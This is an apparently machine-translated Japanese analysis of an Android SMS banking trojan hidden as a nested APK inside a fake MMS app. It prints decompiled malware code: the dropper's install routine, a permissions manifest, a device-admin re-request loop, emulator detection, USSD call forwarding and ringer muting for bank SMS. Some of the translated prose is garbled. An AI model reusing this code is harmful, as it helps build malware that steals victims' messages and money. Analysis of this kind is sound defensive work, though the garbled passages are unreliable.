Android Malvari Matryoshkaの分析

avitoを使用したmalvariの分析に関する記事を書いた後、私のTwitterリーダーのいくつかは、avitoに広告を投稿した後に受信したSMSメッセージに応答して送信しました。







VTレポート



リンクにより、MMSメッセージの受信を装って、apkの配置を提案します。 MTSのアクセス許可からの場合、メモリカードへのアクセスのみが注目に値します。





重量90kb。これはマルウェアにとってはすでに普通のことです。 インターネットでは常に数メガバイトでもダウンロードできるとは限らないため、サイズが小さいほど優れています。



逆コンパイル後、コードは難読化されておらず、これはローダー(別のアプリケーションのダウンロードとインストールに使用されるアプリケーション)であることがわかります。 しかし、それほど標準的ではありません。

原則として、ローダーはサーバーをノックし、アプリケーションをダウンロードして、積極的にインストールを提案します。 これは、たとえば、より多くのユーザーを獲得するためにアプリケーションを宣伝するために使用されます。 しかし、変種の場合、被害者の携帯電話が長時間感染する可能性があり、キャッチするものがないため、他人のローダーを介して拡散することは最良の選択肢ではありません。



ここでは、ネストされた人形があります-apkの内側に、資産フォルダーに1.apkファイルがあります。 サイズ60kb。

VTレポート

コンパイルまたは解凍することはできませんでした。 ファイルが破損しています。

入れ子人形のコードを扱います。

インストール後、MMSセンターはアセットフォルダーapkをメモリカードにコピーし、数バイトを置き換えて、「Googleアドオン」を装ってインストールをすぐに開始します。



static void runs(Context cnt, String name) { File sdCard = Environment.getExternalStorageDirectory(); AssetManager assetManager = cnt.getAssets(); try { StringBuilder buf = new StringBuilder(); InputStream in = assetManager.open(name); Log.e("path", sdCard.getAbsoluteFile() + "/" + name); OutputStream out = new FileOutputStream(sdCard.getAbsoluteFile() + "/" + name); try { byte[] buffer = new byte[1024]; while (true) { int read = in.read(buffer); if (read == -1) { break; } out.write(buffer, 0, read); } in.close(); out.flush(); out.close(); OutputStream out2 = new FileOutputStream(sdCard.getAbsoluteFile() + "/t" + name); InputStream replacingInputStream = new ReplacingInputStream(new ByteArrayInputStream(readfile(sdCard.getAbsoluteFile() + "/" + name)), "[PK]".getBytes("UTF-8"), "PK".getBytes("UTF-8")); ByteArrayOutputStream bos = new ByteArrayOutputStream(); while (true) { int b = replacingInputStream.read(); if (-1 != b) { bos.write(b); out2.write(b); } else { out2.flush(); out2.close(); Intent intent = new Intent("android.intent.action.VIEW"); intent.setDataAndType(Uri.fromFile(new File(sdCard.getAbsoluteFile() + "/t" + name)), "application/vnd.android.package-archive"); intent.setFlags(268435456); cnt.startActivity(intent); new File(sdCard.getAbsoluteFile() + "/" + name).delete(); return; } } } catch (Exception e) { OutputStream outputStream = out; } } catch (Exception e2) { } }
      
      







その後、MMSセンターはアプリケーションのリストから非表示になります。 ただし、追加は表示されたままです。



このMMSセンターに、破損したMMS、有効期限の切れ、Googleアドオンのインストールの遅れに関するミスがあったとしても、それほど疑わしいことではありません。



0のapkの配布におけるローダーの意味は、ABおよび権利の欠如から検出されます。 2番目のファイルの編集-コードをリファクタリングする必要はありません。 回復して初めて、ABの反応をキャンセルした人はいませんでした。

修復後のVTレポート

内部固定apkでVTマトリョーシカを報告する

VTレポートは同じですが、内部apkがjpgに名前変更されました

Googleサプリメントには難読化のヒントがあります。 難読化は少し呼び出すのが難しく、ここではクラス(1文字の名前)のみが名前変更され、内容は影響を受けません。



AndroidManifest.xmlを参照してください



権利の長いリスト



  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.GET_TASKS" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.READ_CALL_LOG" />
      
      









さらに、Google Playのさまざまな受信機と偽物は、そのデザインが「マテリアルデザイン」に対応していないため、Androidの新しいバージョンでは、疑わしく見えます。 入力されたデータの有効性の検証はありません。 彼らが何を入力しても、すべてがサーバーに送られます。



  <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverKnock" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverAdm" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverSmsMan" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.IntentReceiver"> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REMOVED" /> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> <data android:scheme="package" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.CAdm" android:permission="android.permission.BIND_DEVICE_ADMIN"> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" /> </intent-filter> <meta-data android:name="android.app.device_admin" android:resource="@xml/da" /> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.IMMon"> <intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.BootReciv" android:enabled="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> <service android:name="zzzzzz.xxxxxx.cccccc.Knock" /> <service android:name="zzzzzz.xxxxxx.cccccc.SrvAdm" /> <service android:name="zzzzzz.xxxxxx.cccccc.IMService" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.SmsReceiver" android:permission="android.permission.BROADCAST_SMS"> <intent-filter> <action android:name="android.provider.Telephony.SMS_DELIVER" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.MmsReceiver" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" /> <data android:mimeType="application/vnd.wap.mms-message" /> </intent-filter> </receiver> <activity android:name="zzzzzz.xxxxxx.cccccc.ComposeSmsActivity"> <intent-filter> <action android:name="android.intent.action.SEND" /> <action android:name="android.intent.action.SENDTO" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="sms" /> <data android:scheme="smsto" /> <data android:scheme="mms" /> <data android:scheme="mmsto" /> </intent-filter> </activity> <service android:name="zzzzzz.xxxxxx.cccccc.HeadlessSmsSendService" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true"> <intent-filter> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="sms" /> <data android:scheme="smsto" /> <data android:scheme="mms" /> <data android:scheme="mmsto" /> </intent-filter> </service> <activity android:label="@string/title_activity_activity_blank" android:name="zzzzzz.xxxxxx.cccccc.ActivityStart"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:label="@string/sda" android:name="zzzzzz.xxxxxx.cccccc.MAC" /> <activity android:label="@string/cc" android:name="zzzzzz.xxxxxx.cccccc.ActivityGetCC" /> </application>
      
      











アプリケーションは、次の権限でデバイス管理者の機能を使用したいと考えています。



  <?xml version="1.0" encoding="utf-8"?> <device-admin> <uses-policies> <limit-password /> <watch-login /> <reset-password /> <force-lock /> <wipe-data /> <expire-password /> <encrypted-storage /> <disable-camera /> </uses-policies> </device-admin>
      
      







コードを表示した後、開発者がすべての可能な権利を控えて入力したか、ドキュメントから無造作にコピーされたように感じます

。 「device-admin」セクションの権限は使用されないため、それらの一部はAndroidManifest.xmlにリストされます。 そして、コード全体を通して、明らかにリバースの便宜上、開発者はLogCatにデバッグ出力を残しました。

管理者権限のリクエストには、「最適な操作に必要な権限」というテキストが付属しています。 権利の撤回については、メッセージをスローしません。 権利を奪った後、マルウェアは再びそれらを尋ねます



  public CharSequence onDisableRequested(Context context, Intent intent) { Intent intent2 = new Intent(context, MAC.class); intent2.addFlags(268435456); context.startActivity(intent2); return ""; } public class MAC extends Activity { private DevicePolicyManager a; public void onCreate(Bundle bundle) { super.onCreate(bundle); this.a = (DevicePolicyManager) getSystemService("device_policy"); Parcelable componentName = new ComponentName(this, CAdm.class); if (!this.a.isAdminActive(componentName)) { Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN"); intent.putExtra("android.app.extra.DEVICE_ADMIN", componentName); intent.putExtra("android.app.extra.ADD_EXPLANATION", ""); startActivity(intent); } finish(); } }
      
      







ゲート(ボットがアクセスしているサーバー)平文へのリンク。 両方向のボットとの通信はJSON形式で行われます。 プロトコルの分析には興味がなかったので、コードの研究を続けました。



エミュレーターから起動を確認する



  public static boolean m6a(Context context) { boolean equals = ((TelephonyManager) context.getSystemService("phone")).getDeviceId().equals("000000000000000"); boolean z = Build.MODEL.contains("google_sdk") || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android SDK") || Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith("unknown") || Build.MODEL.contains("Android SDK built for x86") || Build.MANUFACTURER.contains("Genymotion"); boolean z2 = Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic"); return equals || z || z2; }
      
      







ボットは、ブラウザー履歴、連絡先リスト、インストール済みアプリケーションのリスト、通話履歴、現在の場所、SMSをサーバーに送信します。



着信転送だけでなく、USSDも可能



  static String b(Context context, String str) { String str2 = "**21*" + str + "#"; Intent intent = new Intent("android.intent.action.DIAL"); intent.setData(Uri.fromParts("tel", str2, "#")); intent.setFlags(268435456); context.startActivity(intent); return ""; } static String a(Context context, String str) { SystemClock.sleep(5000); Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + str.toString() + Uri.encode("#"))); intent.setFlags(268435456); context.startActivity(intent); return ""; }
      
      







そして、切望されているSMSがSberbankから届くと、ボットは電話の音をミュートします



  ((AudioManager) getSystemService("audio")).setRingerMode(0);
      
      







Androidのバージョンが4.4からである場合、デフォルトでSMSのアプリケーションとして自分自身を配置することを要求します

バージョン4.4では、デフォルトアプリケーション以外のアプリケーションに対してSMSを非表示にすることは禁止されています。 Androidの他のバージョンでは、ハングアウトを設定してSMS用に選択するだけで、SMSを非表示にできません。



  public static void m2a(Context context) { if (VERSION.SDK_INT >= 19) { String className = ((RunningTaskInfo) ((ActivityManager) context.getSystemService("activity")).getRunningTasks(1).get(0)).topActivity.getClassName(); if (!className.equalsIgnoreCase("com.android.settings.DeviceAdminAdd") && !className.equalsIgnoreCase("com.android.settings.SmsDefaultDialog") && !Sms.getDefaultSmsPackage(context).equalsIgnoreCase(context.getPackageName())) { Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT"); intent.putExtra("package", context.getPackageName()); intent.addFlags(268435456); context.startActivity(intent); } } }
      
      











そして、Beeline MMSセンターを装って、入れ子人形の同じボットがラッパーなしであることが判明しました。



要約すると、入れ子人形とメインボットの不快なパフォーマンスに関する興味深いアイデアがあります。



All Articles